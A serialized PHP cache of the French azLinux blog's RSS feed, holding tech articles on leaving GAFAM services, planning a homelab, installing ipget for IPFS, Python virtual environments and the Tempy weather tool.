a:6:{s:5:"child";a:1:{s:0:"";a:1:{s:3:"rss";a:1:{i:0;a:6:{s:4:"data";s:6:"
    
";s:7:"attribs";a:1:{s:0:"";a:1:{s:7:"version";s:3:"2.0";}}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:1:{s:7:"channel";a:1:{i:0;a:6:{s:4:"data";s:1193:"
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
    ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:7:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:7:"azLinux";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:19:"https://azlinux.fr/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:25:"Recent content on azLinux";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:9:"generator";a:1:{i:0;a:5:{s:4:"data";s:17:"Hugo -- gohugo.io";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:8:"language";a:1:{i:0;a:5:{s:4:"data";s:5:"fr-FR";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:13:"lastBuildDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Thu, 04 Jan 2024 10:00:00 +0100";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"item";a:126:{i:0;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:74:"Libérez-vous des GAFAM : Guide pratique pour une souveraineté numérique";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:80:"https://azlinux.fr/liberez-vous-des-gafam-guide-pratique-souverainete-numerique/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Thu, 04 Jan 2024 10:00:00 +0100";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:80:"https://azlinux.fr/liberez-vous-des-gafam-guide-pratique-souverainete-numerique/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:7116:"<p>— Article rédigé par Alex&rsquo; (Discord) – Merci à lui —</p>
<p>Dans une ère où la préservation de notre souveraineté numérique est devenue cruciale, il est essentiel de s&rsquo;affranchir de la dépendance envers les géants de la technologie tels que <strong>Google</strong>, <strong>Apple</strong>, <strong>Facebook</strong>, <strong>Amazon</strong> et <strong>Microsoft</strong>, communément désignés sous l&rsquo;acronyme <strong>GAFAM</strong>. Voici un guide pratique pour remplacer certains services de ces mastodontes par des alternatives open source, respectueuses de la vie privée et favorables à une utilisation plus éthique d&rsquo;Internet.</p>
<h2 id="remplacez-votre-client-de-mails-">Remplacez votre client de mails :</h2>
<p>Pour ne plus être captif des services de messagerie des <strong>GAFAM</strong>, optez pour des alternatives open source. Sur PC, <strong>Thunderbird</strong>, développé par les créateurs de Firefox, offre une solution robuste et sécurisée.</p>
<p>Sur mobile, privilégiez <strong>K9 Mail</strong>, une alternative efficace au client <strong>Gmail</strong>, disponible sur <a class="link" href="https://f-droid.org/fr/packages/com.fsck.k9"  target="_blank" rel="noopener"
    >F-Droid</a>.</p>
<p>Toutefois, le mieux est d’utiliser les services des boites Suisses, <strong>ProtonMail</strong> ou <strong>Infomaniak</strong> qui proposent des services fiable et éthiques respectueux de votre vie privée.</p>
<h2 id="remplacez-votre-moteur-de-recherche-">Remplacez votre moteur de recherche :</h2>
<p>Échappez à la surveillance constante en choisissant des moteurs de recherche respectueux de la vie privée. DuckDuckGo et Qwant sont d&rsquo;excellentes alternatives à Google. Toutefois, si des résultats plus approfondis sont nécessaires, utilisez Google sans compte, en désactivant les cookies et les recommandations personnalisées.</p>
<h2 id="optez-pour-un-navigateur-internet-respectueux-de-la-vie-privée-">Optez pour un navigateur Internet respectueux de la vie privée :</h2>
<p><strong>Firefox</strong> se positionne comme le choix idéal pour remplacer les navigateurs <strong>Chrome</strong> et <strong>Edge</strong>, tout en préservant la confidentialité et les performances, tant sur PC (<a class="link" href="https://www.mozilla.org/fr/firefox/new/"  target="_blank" rel="noopener"
    >lien</a>) que sur Android (<a class="link" href="https://play.google.com/store/apps/details?id=org.mozilla.firefox"  target="_blank" rel="noopener"
    >lien</a>). Améliorez votre expérience avec des extensions telles que <strong>Ublock Origin</strong>, <strong>Privacy Badger</strong> et <strong>Deepl Traducteur</strong>.</p>
<p>Toutefois, si vous avez du mal à utiliser un navigateur basé sur autre chose que <strong>Chromium</strong>, vous pouvez toujours utiliser le navigateur « <a class="link" href="https://github.com/ungoogled-software/ungoogled-chromium"  target="_blank" rel="noopener"
    >Ungoogled Chromium</a> » qui est comme <strong>Chrome</strong> mais n&rsquo;envoie aucune donnée à <strong>Google</strong>.</p>
<h2 id="dites-adieu-à-youtube-et-découvrez-des-alternatives-open-source-">Dites adieu à <strong>YouTube</strong> et découvrez des alternatives open source :</h2>
<p>Pour échapper à l&rsquo;emprise de <strong>YouTube</strong> tout en continuant à profiter de son contenu, installez des clients externes comme <strong>FreeTube</strong> sur PC (<a class="link" href="https://freetubeapp.io/"  target="_blank" rel="noopener"
    >lien</a>) et <strong>NewPipe</strong> sur Android (<a class="link" href="https://newpipe.net/"  target="_blank" rel="noopener"
    >lien</a>). Ces applications open source stockent toutes les données localement sur votre appareil, garantissant une expérience sans publicité.</p>
<p>Si vous recherchez une alternative sans publicité sur Android, essayez « <a class="link" href="https://revanced.net/"  target="_blank" rel="noopener"
    >YT Revanced</a> » qui est une version modifiée de l’application <strong>Youtube</strong> vous permettant elle de vous connecter à votre compte pour pouvoir interagir avec les vidéos.</p>
<h2 id="libérez-vous-du-stockage-en-ligne-centralisé-">Libérez-vous du stockage en ligne centralisé :</h2>
<p>Abandonnez <strong>Google Drive</strong> et <strong>OneDrive</strong> au profit d&rsquo;une solution plus locale et personnelle. Utilisez un vieux PC chez vous comme serveur NAS, équipé d&rsquo;une distribution spéciale ou d&rsquo;un simple partage de fichiers sous Windows ou Linux.</p>
<h2 id="assasinez-votre-téléphone-">Assasinez votre téléphone :</h2>
<p>Lors de l&rsquo;achat d&rsquo;un téléphone <strong>Android</strong>, il est courant de constater la présence d&rsquo;un grand nombre d&rsquo;applications préinstallées, dont certaines sont difficilement supprimables. Face à ce dilemme, la solution ne consiste pas nécessairement à opter pour un <strong>iPhone</strong>, car <strong>Apple</strong> fait également partie des <strong>GAFAM</strong>. Alors, comment procéder sans déterrer son vieux <strong>Nokia 3310</strong> du fond d&rsquo;un placard ? Deux options s&rsquo;offrent à vous.
Si vous êtes un utilisateur expérimenté et prêt à prendre des risques, vous pouvez choisir d&rsquo;installer une version d&rsquo;<strong>Android</strong> dépourvue des applications <strong>Google</strong> et des services <strong>Google Play</strong>. Des alternatives telles que <strong>MurenaOS</strong> ou <strong>LineageOS</strong> offrent cette possibilité, permettant de personnaliser votre expérience <strong>Android</strong> tout en se libérant des applications indésirables.</p>
<p>Cependant, pour ceux qui préfèrent éviter le risque potentiel de rendre leur téléphone inutilisable en installant un nouveau système d&rsquo;exploitation, une alternative existe. Vous pouvez supprimer les applications indésirables à l&rsquo;aide d&rsquo;<strong>ADB</strong> (Android Debug Bridge), un outil de développement <strong>Android</strong>. <strong>ADB</strong> permet de désinstaller ces applications préinstallées sans nécessiter de modifications majeures du système (<a class="link" href="https://github.com/0x192/universal-android-debloater"  target="_blank" rel="noopener"
    >lien</a>).</p>
<p>En choisissant l&rsquo;une de ces options, vous parvenez à éliminer les applications intrusives tout en maintenant la fonctionnalité de votre téléphone <strong>Android</strong>. C&rsquo;est une étape cruciale pour ceux qui cherchent à réduire leur dépendance aux <strong>GAFAM</strong> et à reprendre le contrôle sur les logiciels présents sur leurs appareils mobiles.</p>
<p><strong>Conclusion :</strong> Vous êtes maintenant considérée comme un complotiste par vos proches x)</p>
<p>En adoptant ces alternatives, vous contribuez à reprendre le contrôle de votre vie numérique tout en favorisant des pratiques respectueuses de la vie privée et éthiques. Il est temps de faire des choix conscients pour une souveraineté numérique renforcée.</p>
";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:1;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:38:"Création d&#039;un Homelab sous Linux";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:51:"https://azlinux.fr/creation-dun-homelab-sous-linux/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Sun, 05 Nov 2023 09:00:00 +0200";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:51:"https://azlinux.fr/creation-dun-homelab-sous-linux/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:5663:"<p>— Article rédigé par luny.gg (Discord) – Merci à lui —</p>
<p>Salut,</p>
<p>Le tutoriel d&rsquo;aujourd&rsquo;hui va nous permettre de définir comment créer son homelab au mieux suivant ses besoins.</p>
<p><strong>DISCLAIMER :</strong> Tout ce que je dis dans ce tutoriel n&rsquo;est que mon humble avis personnel et provient de mon expérience en tant que passionné. Tout le monde peut se tromper ; si tel est le cas, merci de le signaler.</p>
<p>Tout d&rsquo;abord, il faut prévoir ses besoins, par exemple pour ma part :</p>
<p><strong>MES BESOINS :</strong></p>
<h2 id="hardware">Hardware</h2>
<ul>
<li>Qui consomme le moins possible.</li>
<li>Qui fait le moins de bruit possible.</li>
<li>Qui produit le moins de chaleur possible.</li>
<li>Le plus facilement manœuvrable possible en cas de maintenance.</li>
<li>Pouvoir effectuer le moins de maintenance matérielle possible.</li>
<li>Ne pas dépenser plus que ce que j&rsquo;ai déjà dépensé (soit serveur physique HP PROLIANT DL360 G5, Dell OptiPlex 7010 ou mon PC portable HP Pavillon 15).</li>
</ul>
<h2 id="software">Software</h2>
<ul>
<li>Qui consomme le moins possible (cela se répercutera sur la consommation matérielle en partie).</li>
<li>Le plus facilement manœuvrable possible en cas de maintenance.</li>
<li>Pouvoir effectuer le moins de maintenance possible.</li>
</ul>
<p>Une fois, cela fait, il faut lister tout ce que vous connaissez déjà concernant le software ou le hardware, que ce soit pour apprendre ou que vous maîtrisez déjà. Une fois, cela fait, dressez une liste d&rsquo;avantages et inconvénients pour chaque élément, afin de déduire la solution qui correspond le mieux à vos besoins.</p>
<p><strong>AVANTAGES &amp; INCONVÉNIENTS DE CHAQUE HARDWARE/SOFTWARE DANS MON CAS :</strong></p>
<h2 id="matériel">Matériel</h2>
<h3 id="serveur-physique-hp-proliant-dl360-g5">Serveur physique (HP Proliant DL360 G5)</h3>
<p><strong>Avantages :</strong></p>
<ul>
<li>Peut être très puissant.</li>
<li>Permet de découvrir la technologie des serveurs (RAID matériel, redondance, ILO, etc.).</li>
</ul>
<p><strong>Inconvénients :</strong></p>
<ul>
<li>Peut faire beaucoup de bruit.</li>
<li>Consomme généralement plus d&rsquo;énergie qu&rsquo;un PC transformé en serveur.</li>
</ul>
<h3 id="tour-de-pc-dell-optiplex-7010">Tour de PC (Dell OptiPlex 7010)</h3>
<p><strong>Avantages :</strong></p>
<ul>
<li>Une tour peut être plus puissante qu&rsquo;un serveur dans certains cas.</li>
<li>Consomme moins d&rsquo;énergie qu&rsquo;un serveur physique, selon les cas.</li>
</ul>
<p><strong>Inconvénients :</strong></p>
<ul>
<li>Consomme généralement plus d&rsquo;énergie qu&rsquo;un ordinateur portable.</li>
</ul>
<h3 id="ordinateur-portable-hp-pavillon-15">Ordinateur portable (HP Pavillon 15)</h3>
<p><strong>Avantages :</strong></p>
<ul>
<li>Fait office d&rsquo;onduleur intégré grâce à la batterie qui tient plus ou moins longtemps.</li>
<li>Consomme moins d&rsquo;énergie qu&rsquo;un PC ou un serveur en général.</li>
</ul>
<p><strong>Inconvénients :</strong></p>
<ul>
<li>En raison de sa faible consommation, peut être moins puissant. Cependant, selon l&rsquo;usage, cela peut ne pas se remarquer.</li>
</ul>
<h2 id="logiciel">Logiciel</h2>
<h3 id="hyperviseur-de-type-1-proxmox">Hyperviseur de type 1 (Proxmox)</h3>
<p><strong>Avantages :</strong></p>
<ul>
<li>Maintenance plus facile en cas de panne.</li>
<li>Redondance possible facilement dans un cluster.</li>
</ul>
<p><strong>Inconvénients :</strong></p>
<ul>
<li>Du fait de la virtualisation, l&rsquo;hôte devra être plus puissant pour exécuter les machines.</li>
</ul>
<h4 id="docker">Docker</h4>
<p><strong>Avantages :</strong></p>
<ul>
<li>Plus léger que la virtualisation.</li>
<li>Flexibilité si vous avez les connaissances nécessaires.</li>
</ul>
<p><strong>Inconvénients :</strong></p>
<ul>
<li>Des limitations peuvent survenir (par exemple, si vous souhaitez installer un pare-feu PFsense, une machine physique ou une VM est obligatoire).</li>
<li>Peut nécessiter des connaissances supplémentaires.</li>
</ul>
<h4 id="une-distribution-linux-seule">Une distribution Linux seule</h4>
<p><strong>Avantages :</strong></p>
<ul>
<li>Hautement personnalisable.</li>
</ul>
<p><strong>Inconvénients :</strong></p>
<ul>
<li>Des limitations peuvent survenir (par exemple, si vous souhaitez installer un pare-feu pfSense, une machine physique ou une VM est obligatoire).</li>
</ul>
<p>Après avoir pris en compte tous ces éléments, vous serez mieux en mesure de faire votre choix si vous hésitez ou si vous ne savez pas comment procéder.</p>
<p>Pour ma part, j&rsquo;ai choisi un ordinateur portable pour sa faible consommation électrique et sa redondance en cas de coupure de courant. Pour mon usage, cela sera amplement suffisant. En ce qui concerne le logiciel, je vais opter pour un hyperviseur de type 1 : Proxmox :D</p>
<p>Pour ne pas être limité, et vu que j&rsquo;ai certaines connaissances en ligne de commande Linux (Debian), même si je suis loin d&rsquo;être un expert, je préfère cela plutôt que de passer à Docker, que je ne trouve pas forcément compliqué pour des tâches basiques, mais je préfère faire les choses correctement avec une séparation propre pour chaque conteneur. Même si cela s&rsquo;apprend, je ne vais pas le faire pour l&rsquo;instant.</p>
<p>Dans les prochains tutoriels, vous aurez mon ressenti une fois Proxmox installée sur l&rsquo;ordinateur portable, ainsi que ce que j&rsquo;ai installé dessus et pourquoi. Merci d&rsquo;avoir suivi ce tutoriel, j&rsquo;espère qu&rsquo;il vous sera utile et à bientôt.</p>
";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:2;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:55:"Utiliser ipget pour télécharger des fichiers sur IPFS";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:25:"https://azlinux.fr/ipget/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Fri, 27 Jan 2023 10:30:00 +0100";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:25:"https://azlinux.fr/ipget/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:3786:"<p>IPFS (InterPlanetary File System) est un protocole qui permet de stocker, partager et distribuer des fichiers de manière efficace et sécurisée sur Internet. Il fonctionne en permettant l&rsquo;accès à des fichiers stockés sur n&rsquo;importe quel ordinateur connecté au réseau, même si cet ordinateur est éteint ou déconnecté du réseau.</p>
<p>ipget est un utilitaire en ligne de commande qui vous permet de télécharger des fichiers à partir du réseau IPFS et de les enregistrer localement sur votre ordinateur. Il est similaire à <code>wget</code>, qui est un outil de téléchargement générique pour le World Wide Web, mais ipget est spécialisé dans le téléchargement de fichiers à partir d&rsquo;IPFS.</p>
<p>Un avantage de ipget est qu&rsquo;il inclut son propre nœud IPFS, ce qui signifie que vous n&rsquo;avez pas besoin d&rsquo;avoir IPFS installé sur votre ordinateur pour l&rsquo;utiliser. Cela le rend idéal pour les utilisateurs et les projets qui cherchent une solution simple pour récupérer des fichiers à partir d&rsquo;IPFS.</p>
<h2 id="utilisation">Utilisation</h2>
<p>Pour télécharger un fichier avec ipget, utiliser la commande suivante :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">ipget QmXoypizjW3WknFiJnKLwHCnL72vedxjQkDDP1mXWo6uco
</span></span></code></pre></div><p>Le fichier sera alors téléchargé et enregistré dans le répertoire courant. Vous pouvez également spécifier un répertoire de destination pour le fichier téléchargé en utilisant l&rsquo;option &ldquo;-o&rdquo; suivie du chemin du répertoire. Par exemple, <code>ipget QmXoypizjW3WknFiJnKLwHCnL72vedxjQkDDP1mXWo6uco -o mon_dossier</code> téléchargera le fichier dans le répertoire &ldquo;mon_dossier&rdquo;.</p>
<h2 id="installation">Installation</h2>
<p>Voici comment procéder pour installer ipget sur votre ordinateur :</p>
<ol>
<li>Installez Go (un langage de programmation) sur votre ordinateur en utilisant la commande suivante dans votre terminal :</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo apt install golang-bin
</span></span></code></pre></div><ol start="2">
<li>Téléchargez le code source d&rsquo;ipget sur votre machine en utilisant cette commande :</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">go get -d github.com/ipfs/ipget
</span></span></code></pre></div><ol start="3">
<li>Accédez au répertoire où se trouve le code source d&rsquo;ipget en utilisant la commande <code>cd</code> :</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl"><span class="nb">cd</span> <span class="si">${</span><span class="nv">GOPATH</span><span class="si">}</span>/src/github.com/ipfs/ipget
</span></span></code></pre></div><ol start="4">
<li>Compilez et installez ipget sur votre ordinateur en utilisant la commande suivante :</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">make install
</span></span></code></pre></div><p>Lorsque l&rsquo;installation est terminée, vous pouvez utiliser ipget depuis n&rsquo;importe quel répertoire de votre ordinateur en ouvrant votre terminal et en tapant ipget.</p>
<p>[ <a class="link" href="https://github.com/ipfs/ipget"  target="_blank" rel="noopener"
    >SOURCE</a> ]</p>
";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:3;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:96:"Comment séparer les dépendances de vos projets Python en utilisant des environnements virtuels";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:24:"https://azlinux.fr/venv/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Thu, 26 Jan 2023 08:00:00 +0100";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:24:"https://azlinux.fr/venv/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:2933:"<img src="https://azlinux.fr/uploads/3413b7adce4d328f35ebefa4a221c04d.webp" alt="Featured image of post Comment séparer les dépendances de vos projets Python en utilisant des environnements virtuels" /><p>Il peut être utile de créer un environnement virtuel Python lorsque vous travaillez sur plusieurs projets qui nécessitent des versions différentes de packages ou de Python. Cela vous permet de séparer les dépendances de chaque projet et d&rsquo;éviter les conflits. Voici comment créer un environnement virtuel Python :</p>
<ol>
<li>Ouvrez un terminal et utilisez la commande suivante pour créer un environnement virtuel Python :</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">python3 -m venv nom_de_votre_environnement
</span></span></code></pre></div><p>Cela va créer un dossier appelé &ldquo;nom_de_votre_environnement&rdquo; qui contiendra toutes les dépendances de votre projet.</p>
<ol start="2">
<li>Pour activer l&rsquo;environnement virtuel, utilisez la commande suivante :</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl"><span class="nb">source</span> nom_de_votre_environnement/bin/activate
</span></span></code></pre></div><p>Vous devriez maintenant voir le nom de votre environnement virtuel entouré de parenthèses à gauche de votre invite de commande, ce qui indique qu&rsquo;il est actif.</p>
<ol start="3">
<li>Pour installer des packages dans votre environnement virtuel, utilisez la commande pip3 :</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">pip3 install nom_du_package
</span></span></code></pre></div><p>Vous pouvez installer autant de packages que vous le souhaitez, ils seront uniquement disponibles dans cet environnement virtuel.</p>
<ol start="4">
<li>Lorsque vous avez fini de travailler sur votre projet et que vous souhaitez désactiver l&rsquo;environnement virtuel, utilisez la commande suivante :</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">deactivate
</span></span></code></pre></div><p>Il est important de noter que lorsque vous désactivez un environnement virtuel, vous ne pourrez plus utiliser les packages installés dans celui-ci. Il faudra donc le réactiver à chaque fois que vous souhaiterez travailler sur ce projet.</p>
<p>En utilisant ces commandes, vous pouvez facilement créer et gérer des environnements virtuels Python pour vos projets. Cela vous permettra de travailler de manière organisée et de gérer les dépendances de manière efficace.</p>
";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:4;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:64:"Tempy: consulter la météo en temps réel depuis votre terminal";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:25:"https://azlinux.fr/tempy/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Tue, 24 Jan 2023 09:00:00 +0200";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:25:"https://azlinux.fr/tempy/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:2029:"<img src="https://azlinux.fr/uploads/5762a31c99e7697484ccc80da96b3a61.webp" alt="Featured image of post Tempy: consulter la météo en temps réel depuis votre terminal" /><p>Tempy est un outil en ligne de commande qui vous permet de consulter la météo en temps réel directement depuis votre terminal. Il vous fournit des rapports météorologiques pour les conditions actuelles et à venir. Les données météorologiques proviennent de l’API gratuite d&rsquo;<a class="link" href="https://weatherapi.com"  target="_blank" rel="noopener"
    >Weather API</a>.</p>
<h2 id="utilisation">Utilisation</h2>
<p>Pour obtenir la météo de Fort-de-France par exemple, vous pouvez exécuter cette commande :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">tempy Fort-de-France metric
</span></span></code></pre></div><p>Si vous souhaitez obtenir la météo de Fort-de-France en degrés Celsius et en km/h, vous pouvez exécuter la commande :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">tempy Fort-de-France -u metric
</span></span></code></pre></div><p><img src="https://azlinux.fr/uploads/0adea17eb51a73cb4be3c59d3a5ba6e1.png"
	
	
	
	loading="lazy"
	
	
></p>
<h2 id="installation">Installation</h2>
<p>Pour installer tempy, rien de plus simple, il suffit d’exécuter cette commande :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo pip3 install git+https://github.com/noprobelm/tempy
</span></span></code></pre></div><p>[ <a class="link" href="https://twitter.com/willmcgugan/status/1614242056284639232"  target="_blank" rel="noopener"
    >SOURCE</a> / <a class="link" href="https://github.com/noprobelm/tempy"  target="_blank" rel="noopener"
    >GITHUB</a> ]</p>
";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:5;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
